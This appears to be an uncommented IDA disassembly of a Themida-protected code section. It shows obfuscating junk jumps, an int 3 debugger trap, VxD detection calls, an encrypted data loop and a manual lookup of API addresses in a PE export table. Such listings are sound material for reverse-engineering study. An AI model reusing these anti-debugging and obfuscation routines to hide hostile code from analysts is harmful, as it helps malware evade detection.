call sub_5BEEDF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEEDF proc near ; CODE XREF: Themida_:005BEED7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5BEEDF endp
; ---------------------------------------------------------------------------
and [esi], ah
inc esp
sub cl, dh
pusha
push ecx
stc
pop edx
push edi
jns $+6
pop ecx
popa
jno loc_5BEF13
jg loc_5BEF13
mov [ebp+7FA1CE5h], edi
loc_5BEF13: ; CODE XREF: Themida_:005BEF01j
; Themida_:005BEF07j
jb loc_5BEF1F
sub [ebp+7FA2F41h], edi
loc_5BEF1F: ; CODE XREF: Themida_:loc_5BEF13j
mov byte ptr [ebp+7FA0665h], 4Fh
jmp loc_5BEF3C
; ---------------------------------------------------------------------------
db 23h
dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h
; ---------------------------------------------------------------------------
loc_5BEF3C: ; CODE XREF: Themida_:005BEF26j
push 0DA385140h
jmp loc_5BEF5A
; ---------------------------------------------------------------------------
dw 12E8h
dd 503ADC53h, 21215D1Dh, 0B806503Dh, 0D23AF621h
db 0D3h, 0ADh
; ---------------------------------------------------------------------------
loc_5BEF5A: ; CODE XREF: Themida_:005BEF41j
xor dword ptr [esp], 24F0256Ah
mov [ebp+7FA1749h], edi
push dword ptr [ebp+7FA2095h]
add [ebp+7FA1F75h], edi
lea eax, [ebp+7FDA3DDh]
sub [ebp+7FA2DB5h], eax
call eax
push 0
push eax
call sub_5BEF8C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEF8C proc near ; CODE XREF: Themida_:005BEF84p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5BEF8C endp
; ---------------------------------------------------------------------------
cld
dec ecx
retn 0D0C6h
; ---------------------------------------------------------------------------
clc
push edx
jmp loc_5BF01D
; ---------------------------------------------------------------------------
pusha
mov bx, ax
mov [ebp+7FA2F61h], eax
popa
jg loc_5BEFBF
mov [ebp+7FA23D1h], ebx
loc_5BEFBF: ; CODE XREF: Themida_:005BEFB3j
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 7FDBB88h
mov eax, [ebp+7FA08A5h]
mov [ebp+7FA2095h], eax
mov eax, [ebp+7FA0515h]
mov [ebp+7FA2279h], eax
mov eax, [ebp+7FA0AF5h]
mov [ebp+7FA1F35h], eax
mov byte ptr [ebp+7FA0665h], 0
mov dword ptr [ebp+7FDA54Dh], 0
lea eax, [ebp+7FDBBDCh]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
clc
sub [ebp+7FA0B61h], esi
clc
loc_5BF01D: ; CODE XREF: Themida_:005BEFA3j
mov esp, 12FF74h
sub [ebp+7FA1BE5h], esi
pop large dword ptr fs:0
push 0
push ecx
call sub_5BF03A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF03A proc near ; CODE XREF: Themida_:005BF032p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5BF03A endp
; ---------------------------------------------------------------------------
dw 7B62h
; ---------------------------------------------------------------------------
dec edi
or [ecx-5D0567Bh], ecx
pop es
add esp, 4
push 0
push ebx
call sub_5BF062
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF062 proc near ; CODE XREF: Themida_:005BF05Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5BF062 endp
; ---------------------------------------------------------------------------
dw 0CE0Eh
dd 63391589h, 0A287C417h, 0FE861h, 4CE50000h, 1FE4AB1Ch
dd 80185DEAh, 976CD27Dh, 589ABBF4h, 0BB5F56D3h, 73EF78E4h
dd 6A2AC781h, 81660000h, 0B97D18DBh, 0
; ---------------------------------------------------------------------------
push ecx
sub [ebp+7FA0D35h], edx
pop ebx
loc_5BF0B4: ; CODE XREF: Themida_:005BF165j
push dword ptr [ecx+edi]
add esi, [ebp+7FA296Dh]
pop eax
sbb si, 499Fh
add eax, 2C8347F2h
mov [ebp+7FA1E29h], esi
xor eax, 4DDCBE71h
jmp loc_5BF0EA
; ---------------------------------------------------------------------------
dw 0FFC6h
dd 0D03891B6h, 0A182437Ah, 8C8A392Ah
; ---------------------------------------------------------------------------
and ch, cl
loc_5BF0EA: ; CODE XREF: Themida_:005BF0D5j
sub eax, 5ACA43AFh
jle loc_5BF10F
jmp loc_5BF10F
; ---------------------------------------------------------------------------
stosd
test eax, 6515CD7Ch
cld
pop eax
mov al, ds:7163D328h
db 2Eh
dec edi
add ah, [edi-74h]
or ecx, ebx
loc_5BF10F: ; CODE XREF: Themida_:005BF0F0j
; Themida_:005BF0F6j
push eax
push edi
jno loc_5BF11D
mov edx, [ebp+7FA0B3Dh]
loc_5BF11D: ; CODE XREF: Themida_:005BF111j
pop esi
pop dword ptr [edi+ecx]
mov esi, edx
jmp loc_5BF12D
; ---------------------------------------------------------------------------
dd 8BF7161Fh
db 0C4h
; ---------------------------------------------------------------------------
loc_5BF12D: ; CODE XREF: Themida_:005BF123j
sub ecx, 1
mov [ebp+7FA0D21h], edx
dec ecx
dec ecx
dec ecx
mov si, 3A35h
cmp ecx, 0FFFF96CCh
jnz loc_5BF15F
movzx edx, si
jmp loc_5BF17C
; ---------------------------------------------------------------------------
db 0C4h, 0F1h, 3Bh
dd 7B1918ECh, 0B5DEBB9Ch
; ---------------------------------------------------------------------------
div byte ptr [esi+63h]
loc_5BF15F: ; CODE XREF: Themida_:005BF143j
mov esi, [ebp+7FA2B91h]
jmp loc_5BF0B4
; ---------------------------------------------------------------------------
dw 0C4E1h
dd 7E474F19h, 8A3715C7h, 784C015Ah, 0EC8FA9DCh
; ---------------------------------------------------------------------------
loc_5BF17C: ; CODE XREF: Themida_:005BF14Cj
jmp short loc_5BF1B2
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw db 'IFSMGR VKD VMM VWIN32 VXDLDR ',0
align 4
dd 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5BF1B2: ; CODE XREF: Themida_:loc_5BF17Cj
jmp loc_5BF959
; ---------------------------------------------------------------------------
pusha
sub eax, 46EA4BDAh
popa
pusha
push 0
push edi
call sub_5BF1CB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF1CB proc near ; CODE XREF: Themida_:005BF1C3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BF1CB endp
; ---------------------------------------------------------------------------
db 34h
dd 0E96AE2D9h, 6, 2FDF8948h, 85C7C299h, 7FDBD65h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BF1FF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF1FF proc near ; CODE XREF: Themida_:005BF1F7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BF1FF endp
; ---------------------------------------------------------------------------
db 1Ch
dd 60604F95h, 12E8h, 50CE1700h, 0F8C0DCC1h, 3EB89D22h
dd 6F128CDAh, 5F0545CBh, 0E8615F52h, 0Ch, 531C94F1h, 51D40BA6h
dd 90CE5725h, 0FE9h, 0B2037900h, 96AC0A2Eh, 0A6953D84h
dd 6A967AD5h, 0C68B6159h, 11870Fh, 8C0F0000h, 0Bh, 6E9h
dd 0B1AC3B00h, 0F9A78AAh, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 1B9CDBC3h, 7C4062DCh
dd 6660AEBAh, 37ACF081h, 3850Fh, 0BF0F0000h, 0E8C161C8h
dd 0BF0F6010h, 2B03BFC9h, 0F614F6Fh, 188h, 0C166FC00h
dd 6A08C8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0BEEB57C3h, 0DBA0217Ah, 9BBB6660h, 858961E3h
dd 7FDBD69h, 0E6816660h, 8C0F672Ah, 0Eh, 8E8h, 0FA103200h
dd 0C6C4F872h, 66615AF2h, 0F08CBC1h, 18Ah, 0FB83F500h
dd 0AB850F40h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 493BC355h, 40EC2307h
dd 6017AAA6h, 0EF8190B7h, 1B482C67h, 5E96061h, 0FF000000h
dd 5C193340h, 12E8h, 50282700h, 6802569Bh, 8E7E71Ch, 7C75024h
dd 8ABAA9C1h, 8D615BE2h, 0FDBD3DBDh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 589156D8h
dd 66600F9Fh, 0E953C78Bh, 0Bh, 0C7EE931Dh, 0AED87105h
dd 5FD819E7h, 172E961h, 0E9600000h, 7, 81B91087h, 811F5343h
dd 0BB960DE1h, 0FB836140h, 59850F0Dh, 0E9000000h, 14h
dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh
dd 0BD45BD8Dh, 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0E90753C3h, 12h, 0EE67762h, 723CD16Bh
dd 5758D95Ah, 0A30D648Bh, 0FDE98DA0h, 0F5000000h, 0F01FB83h
dd 5C85h, 0BD8DF800h, 7FDBD4Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0FAC35141h, 873B824Dh, 41C50563h
dd 0C2E9AEh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 7FC4CFC3h, 7890Fh, 850F0000h, 1
dd 2AFB83F8h, 52850Fh, 8DFC0000h, 0FDBD55BDh, 11E907h
dd 0B8440000h, 7CB8FB7Fh, 0C7719A72h, 316313EEh, 0E996D646h
dd 6Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
dd 9CC35040h, 870FDB98h, 0Ch, 6860Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
cmp ebx, 27h
jnz loc_5BF7F4
pusha
movzx esi, dx
popa
jno loc_5BF4FD
clc
loc_5BF4FD: ; CODE XREF: Themida_:005BF4F6j
lea edi, [ebp+7FDBD5Dh]
push 0
push ebp
call sub_5BF50E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF50E proc near ; CODE XREF: Themida_:005BF506p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BF50E endp
; ---------------------------------------------------------------------------
mov dl, 82h
cli
int 3 ; Trap to Debugger
push ebp
pop ss
mov [ebp+7FDBD6Dh], edi
push 0
push edi
call sub_5BF535
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF535 proc near ; CODE XREF: Themida_:005BF52Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5BF535 endp
; ---------------------------------------------------------------------------
db 0AAh, 7Eh, 0Fh
dd 1E80h, 9E86000h, 6E000000h, 5B9030BCh, 9156D889h, 7E85Eh
dd 405D0000h, 126661E1h, 66615911h, 24F5C88Ch, 55006A03h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0A85FCA2Dh, 0FF08A60h, 283h, 61616000h, 0FC00AFCh, 1CF85h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0DAA5C844h, 8DFA52A1h, 0FDC420B5h, 858BFC07h
dd 7FDC4B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 42C35545h, 0CCA2D8C5h, 0FBCA611Dh, 0E3816060h
dd 675C27D4h, 61D38B66h, 10E9h, 0C98B2A00h, 0C8778480h
dd 71C17F1Eh, 2B0EA65Ch, 0F926128h, 1383h, 0CE96000h, 0F6000000h
dd 64C426A0h, 459B75B4h, 615967D5h, 14E950h, 67020000h
dd 0EDD9098Ch, 519D659Ch, 9A077ACCh, 0A3AA0AF4h, 6A92FAD7h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 30B3C356h, 3798C8A1h, 2CE81997h, 0DE860h
dd 0AC4E0000h, 0CD2F135Ah, 11AC9B96h, 0FD8CB24h, 8Eh, 830F5E00h
dd 3, 61C38B66h, 1C840Fh, 0E9600000h, 14h, 0CAD34110h
dd 12624605h, 697C6595h, 59132C76h, 56597255h, 10F61FCh
dd 60FE244Ch, 61F38AF5h, 830FFC5Ah, 1, 24C283F8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A9C35646h, 0F606E89h
dd 6E9F2BFh, 65000000h, 12047710h, 566061F7h, 0C714F181h
dd 815A2DF3h, 543CEFC8h, 89666124h, 6AFC72h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 9422F9C3h
dd 10CEC1F5h, 88D0Fh, 800F0000h, 2, 89666160h, 0AE90272h
dd 0BF000000h, 17C28017h, 72F442ADh, 0F904CD22h, 78E9h
dd 11850F00h, 0F000000h, 0B8Eh, 6E900h, 1340000h, 7C53B266h
dd 0C4B9858Bh, 8DF807FDh, 0FDC420B5h, 7810F07h, 60000000h
dd 0E5805957h, 858D6162h, 7FD7DE2h, 7890Fh, 0F600000h
dd 0D98BF6BFh, 60D0FF61h, 17840Fh, 12E90000h, 15000000h
dd 3C195325h, 4895177Ah, 5030FCFDh, 0C39D4F3h, 0EE969h
dd 0B6D0000h, 9551E495h, 0C64727A2h, 46EB5FC3h, 65858961h
dd 0F807FDBDh, 12850Fh, 0DE90000h, 33000000h, 868EDDC1h
dd 6E154C0Ch, 0B9913903h
; ---------------------------------------------------------------------------
loc_5BF7F4: ; CODE XREF: Themida_:005BF4EBj
popa
cmc
jmp loc_5BF802
; ---------------------------------------------------------------------------
db 33h
dd 15FC50B3h
db 9Eh, 70h
; ---------------------------------------------------------------------------
loc_5BF802: ; CODE XREF: Themida_:005BF7F6j
mov eax, [ebp+7FDBD65h]
push 0
push ebx
call sub_5BF813
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF813 proc near ; CODE XREF: Themida_:005BF80Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5BF813 endp
; ---------------------------------------------------------------------------
mov ds:0EA5501F5h, eax
fucomi st, st
pusha
jmp loc_5BF83D
; ---------------------------------------------------------------------------
dd 6D92D50Eh, 0B8ADEF6h, 44262098h
db 2Ah
; ---------------------------------------------------------------------------
loc_5BF83D: ; CODE XREF: Themida_:005BF82Bj
popa
retn
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5BF84A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF84A proc near ; CODE XREF: Themida_:005BF842p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5BF84A endp
; ---------------------------------------------------------------------------
push dword ptr [ecx-80A3E65h]
cmc
pusha
jns loc_5BF87B
jmp loc_5BF87B
; ---------------------------------------------------------------------------
db 18h, 0Ch, 0BEh
dd 0C3958815h, 64D7BDF4h
db 0D9h, 0F2h, 0C4h
; ---------------------------------------------------------------------------
loc_5BF87B: ; CODE XREF: Themida_:005BF862j
; Themida_:005BF868j
cmp dword ptr [ebp+7FDC4B9h], 0
jnz loc_5BF8CC
jmp loc_5BF8A0
; ---------------------------------------------------------------------------
db 11h, 0F6h, 0AAh
dd 1B28B887h, 2CC01098h, 0E4250CB5h, 0A4A134A1h
; ---------------------------------------------------------------------------
loc_5BF8A0: ; CODE XREF: Themida_:005BF888j
mov dword ptr [ebp+7FDC4B9h], 1013Fh
push 0
push edi
call sub_5BF8B5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF8B5 proc near ; CODE XREF: Themida_:005BF8ADp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5BF8B5 endp
; ---------------------------------------------------------------------------
cmp al, [esi]
retn 17EDh
; ---------------------------------------------------------------------------
dw 79DEh
; ---------------------------------------------------------------------------
loc_5BF8CC: ; CODE XREF: Themida_:005BF882j
jmp loc_5BF8F8
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5BF8DC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF8DC proc near ; CODE XREF: Themida_:005BF8D4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5BF8DC endp
; ---------------------------------------------------------------------------
pusha
fdiv qword ptr [ecx-5A5BD586h]
mov esi, 0F8F8640Ch
loc_5BF8F8: ; CODE XREF: Themida_:loc_5BF8CCj
VxDCall 0
loc_5BF8FE: ; CODE XREF: Themida_:005BF937j
or eax, eax
jz short loc_5BF939
lea esi, [eax+0Ch]
mov edi, [ebp+7FDBD6Dh]
mov ecx, 8
loc_5BF910: ; CODE XREF: Themida_:005BF914j
cmpsb
jnz short loc_5BF935
dec ecx
jnz short loc_5BF910
mov ecx, [eax+30h]
mov ebx, [ebp+7FDBD69h]
cmp ebx, [eax+34h]
jg short loc_5BF939
mov edx, ebx
imul edx, 4
add ecx, edx
mov eax, [ecx]
mov [ebp+7FDBD65h], eax
jmp short loc_5BF939
; ---------------------------------------------------------------------------
loc_5BF935: ; CODE XREF: Themida_:005BF911j
mov eax, [eax]
jmp short loc_5BF8FE
; ---------------------------------------------------------------------------
loc_5BF939: ; CODE XREF: Themida_:005BF900j
; Themida_:005BF922j ...
popa
mov eax, [ebp+7FDBD65h]
iret
; ---------------------------------------------------------------------------
cld
jle loc_5BF959
jmp loc_5BF959
; ---------------------------------------------------------------------------
db 0DEh, 99h, 3
dd 73BA1B92h, 8DC33C50h
; ---------------------------------------------------------------------------
dec ecx
loc_5BF959: ; CODE XREF: Themida_:loc_5BF1B2j
; Themida_:005BF942j ...
mov eax, eax
jmp loc_5BF9E3
; ---------------------------------------------------------------------------
push ebx
push ecx
push edx
push esi
push edi
mov ebx, [esp+1Ch]
cmp word ptr [ebx], 5A4Dh
jnz loc_5BF9DC
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
cmp word ptr [ebx], 4550h
jnz loc_5BF9DC
mov ebx, [ebx+78h]
add ebx, [esp+1Ch]
mov esi, [ebx+24h]
add esi, [esp+1Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [esp+20h]
add esi, [esp+20h]
cld
or ecx, 0FFFFFFFFh
loc_5BF9A6: ; CODE XREF: Themida_:005BF9BCj
; Themida_:005BF9C4j
inc ecx
mov ebx, [esp+1Ch]
mov edx, [edi]
add edx, [esp+20h]
add edi, 4
loc_5BF9B4: ; CODE XREF: Themida_:005BF9C0j
mov al, [edx]
test al, al
jz short loc_5BF9C2
cmp al, [ebx]
jnz short loc_5BF9A6
inc ebx
inc edx
jmp short loc_5BF9B4
; ---------------------------------------------------------------------------
loc_5BF9C2: ; CODE XREF: Themida_:005BF9B8j
cmp al, [ebx]
jnz short loc_5BF9A6
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [esp+1Ch]
loc_5BF9D4: ; CODE XREF: Themida_:005BF9DEj
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_5BF9DC: ; CODE XREF: Themida_:005BF96Ej
; Themida_:005BF97Fj
xor eax, eax
jmp loc_5BF9D4
; ---------------------------------------------------------------------------
loc_5BF9E3: ; CODE XREF: Themida_:005BF95Bj
mov ecx, edx
call sub_5BF9F0
mov cl, al
movsb
push 0FFFFFF85h
pop ss
assume ss:nothing
; =============== S U B R O U T I N E =======================================
sub_5BF9F0 proc near ; CODE XREF: Themida_:005BF9E5p
mov ebx, edx
pop eax
jmp loc_5BFA03
; ---------------------------------------------------------------------------
dd 0C4B8B37Bh, 4131A406h
db 62h, 33h, 23h
; ---------------------------------------------------------------------------
loc_5BFA03: ; CODE XREF: sub_5BF9F0+3j
add eax, 67EBh
jmp loc_5BFA15
; ---------------------------------------------------------------------------
dw 8FADh
dd 0B2FCB720h
db 0A1h
; ---------------------------------------------------------------------------
loc_5BFA15: ; CODE XREF: sub_5BF9F0+19j
mov ecx, 19C4h
js loc_5BFA2C
jnz loc_5BFA2C
jb $+6
loc_5BFA2C: ; CODE XREF: sub_5BF9F0+2Aj
; sub_5BF9F0+30j ...
mov edx, [eax]
or bh, 0DEh
add edx, 4C676BF8h
movsx ebx, di
xor edx, 8B481A0h
ja loc_5BFA4E
js loc_5BFA4E
push edx
pop ebx
loc_5BFA4E: ; CODE XREF: sub_5BF9F0+50j
; sub_5BF9F0+56j
xor edx, 3F0D1108h
call near ptr loc_5BFA60+5
shr dword ptr [ecx+4C31C9BAh], 8
loc_5BFA60: ; CODE XREF: sub_5BF9F0+64p
adc edx, ds:0F0DA28Bh
sub_5BF9F0 endp ; sp-analysis failed
add dword ptr [eax+eax], 0BF660000h
leave
adc eax, 0F10895Fh
lea eax, [eax+eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
mov si, 32C3h
sub eax, 4
mov bl, 8Ah
sub ecx, 1
jnz loc_5BFAA1
mov bh, al
jmp loc_5BFAC9
; ---------------------------------------------------------------------------
db 9Ah, 0F0h, 0FBh
; ---------------------------------------------------------------------------
jmp short loc_5BFB08
; ---------------------------------------------------------------------------
dw 0A81Fh
; ---------------------------------------------------------------------------
mov dl, [ebp+25h]
xchg eax, ebx
mov dh, 0CDh
mov bh, 83h
inc ecx
loc_5BFAA1: ; CODE XREF: Themida_:005BFA84j
jnz loc_5BFAB3
jz loc_5BFAB3
sub ebx, 44C1A588h
loc_5BFAB3: ; CODE XREF: Themida_:loc_5BFAA1j
; Themida_:005BFAA7j
jmp loc_5BFA2C
; ---------------------------------------------------------------------------
dd 0CB667826h, 36EEC0C2h, 664898E3h, 0E25D64DBh
; ---------------------------------------------------------------------------
push es
loc_5BFAC9: ; CODE XREF: Themida_:005BFA8Cj
call near ptr loc_5BFAD1+3
insd
rcl esi, cl
loc_5BFAD1: ; CODE XREF: Themida_:loc_5BFAC9p
mov ecx, 6E9A69Fh
; ---------------------------------------------------------------------------
dw 0
dd 0EA8D4A00h, 5F5597A3h, 0FE9h, 8B6E6D00h, 1456956Dh
dd 104B1BC9h, 29BA893Dh, 6391C781h, 0B8660000h, 0BB3287h
dd 0BE000000h, 43BBA8E7h
; ---------------------------------------------------------------------------
loc_5BFB08: ; CODE XREF: Themida_:005BFA94j
mov edx, [edi+ebx]
mov ax, dx
sub edx, 48559858h
call near ptr locret_5BFB20+1
add [ebx-1Eh], ebp
push esp
fsub qword ptr [ebp-23h]
locret_5BFB20: ; CODE XREF: Themida_:005BFB14p
retf 8166h
; ---------------------------------------------------------------------------
db 0EEh
dd 8158A341h, 94EAABC2h, 2870F39h, 0B4000000h, 50EA8105h
dd 0B90F590Ah, 71E04142h, 661F1489h, 666FDEB9h, 0EB83F08Bh
dd 81CA8B04h, 0FF9CF8FBh, 0AD850FFFh, 0E9FFFFFFh, 10Ah
dd 38331D0Ah, 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh
dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
dd 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h
dd 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h
dd 206020ACh, 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah
dd 20602055h, 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h
dd 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h
dd 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h
dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h
dd 5D340700h, 59A0A3D2h, 1Eh, 8 dup(0)
dd 0A8E90000h, 6800000Ch, 7FDCA81h, 0FCB6BBE9h, 0CB9D68FFh
dd 0B1E907FDh, 68FFFCB6h, 7FDCC65h, 0FCB6A7E9h, 0CD4E68FFh
dd 9DE907FDh, 68FFFCB6h, 7FDCDBCh, 0FCB693E9h, 0CE5E68FFh
dd 89E907FDh, 68FFFCB6h, 7FDCFC8h, 0FCB67FE9h, 0D0BD68FFh
dd 75E907FDh, 68FFFCB6h, 7FDD18Fh, 0FCB66BE9h, 0D27068FFh
dd 61E907FDh, 68FFFCB6h, 7FDD327h, 0FCB657E9h, 0CBD343FFh
dd 742AE895h, 1A84913Eh, 0C6D837E4h, 702EE390h, 6A51063Ah
dd 14C1F7A7h, 0BB689E00h, 66134955h, 0ECBBF1ADh, 4B157894h
dd 0D53B07E4h, 0ED92BC1Eh, 0A7D2305Bh, 108E8126h, 0C56BD6Ah
dd 0E60F9A04h, 878DF27Dh, 0E0328717h, 7A0A33BEh, 0E6A0FB5Eh
dd 2AD029FFh, 4B053E97h, 0B3EB277Ch, 0EBB3600Dh, 2B3554B5h
dd 0BD197F9Bh, 0EC4507E0h, 8717FC61h, 0F36FA451h, 0CEF7821Ch
dd 81393E54h, 92FB57A7h, 5B77B707h, 7E150F8h, 0AB1FC51Eh
dd 7E15145h, 876B2556h, 5882128Ch, 9E6A6627h, 0E4CF2C8h
dd 5CECB261h, 0C29D001Ch, 6AC307E0h, 47CC31C4h, 0A66DF51Bh
dd 0DB446DF8h, 214CDE61h, 64CD1379h, 0D28CBDD9h, 437925EEh
dd 6F183B73h, 51DD940h, 0A76A0000h, 42A7326Ch, 3697CDD1h
dd 617D0D53h, 7E0ADC7h, 0A7F782DBh, 28C6E57Dh, 21C73473h
dd 0E12D46ADh, 15CF5007h, 6F34D60Eh, 257440h, 0F3050000h
dd 0FA3ACA96h, 8B316DA5h, 0E09C4917h, 71FC5507h, 0E09ADE45h
dd 0AD67E807h, 6EA76EA6h, 1020C40h, 0A79D0000h, 42A7326Ch
dd 1C8293CFh, 0AED828B3h, 2233BE0h, 0AAC65691h, 0FFE68A47h
dd 0C16E146Dh, 5CC14C52h, 2D57E7B7h, 6BBEEE7Bh, 0DB19BF63h
dd 3E24EE43h, 0D35EC7D7h, 1A9004AAh, 64FFE760h, 21B9EFAFh
dd 18868CE1h, 95F8648Dh, 0BBFFE75Dh, 4C52BD62h, 841AF9A6h
dd 286BCAF4h, 0A56151AEh, 36536CFFh, 0E07E9A2Ah, 0FE07E17Ah
dd 51F6A869h, 4177E0BEh, 27B7A9E0h, 327EEFFDh, 2CD1517Dh
dd 7B13B9E5h, 0DE2C1C5Fh, 9FBBFB0Fh, 0FFECA83Ch, 6581116Ah
dd 0FFECA802h, 0E831D730h, 67AAFF8Fh, 29690137h, 0ECA8AA0Dh
dd 0FDA174FFh, 10BD63BCh, 27DF9D01h, 28999E22h, 9894EEDh
dd 0EE280000h, 45CD7AB0h, 9F762359h, 0F31CC9FFh, 49C875ABh
dd 36EB1F55h, 0A4DAC44Dh, 4B811DF7h, 0F62C729Eh, 9ED4CA49h
dd 0F85B77CFh, 1E07E44Ch, 6AA701B8h, 1166FE34h, 0EAB46002h
dd 0E52EDB81h, 810C927Dh, 2B9EF58h, 3ACA96F3h, 326CA5FAh
dd 64D87EA7h, 7E09B96h, 90E06BC4h, 3AC5D93Bh, 2658111h
dd 3007E09Bh, 56BD31D7h, 2007E09Bh, 0BF24AFEFh, 30C24D51h
dd 40A54D07h, 0CFBE53A8h, 5CC9D886h, 0A147B0D4h, 42976620h
dd 5626CCD2h, 406ED91Eh, 0DADADB05h, 9F754B1Dh, 0B518F9h
dd 88C80000h, 0E16E096Ch, 38DE3707h, 326CA781h, 0CFCF42A7h
dd 87A21844h, 47CCFFE6h, 9F72C757h, 0D14B74FFh, 0DEC74F84h
dd 4E8C32AAh, 0F0AE61B6h, 28769D4Ah, 5B05849Dh, 0DC368BCBh
dd 0CBE737C2h, 0FFE6A468h, 26CC358Eh, 0E0C514B2h, 2359B207h
dd 0B45DC7C2h, 0CD365FEAh, 63CD213Dh, 80D90FDDh, 0EC769BF0h
dd 31FD7727h, 90AA74A4h, 0B25F95FEh, 9B813F5Fh, 0C0999E00h
dd 86DE685h, 0D2440000h, 29E996CCh, 83923F75h, 0D738E51Bh
dd 2DE491C7h, 52073B71h, 0C0F6A869h, 679D0113h, 124856BAh
dd 0BAF0AE65h, 147793EBh, 4207E44Eh, 6AA725DCh, 0C251FE34h
dd 0BCEFA6DCh, 82FD607Ch, 0EEEAFFE6h, 0FF631EDh, 6D89094Ah
dd 0FFE7090Ah, 0D076DF38h, 6B87F023h, 0FFE70908h, 0E430D52Eh
dd 97C151BAh, 0EE08CDC5h, 163F314Bh, 0A5545182h, 9E03963Ch
dd 4022ED75h, 1942CDD1h, 62B747B0h
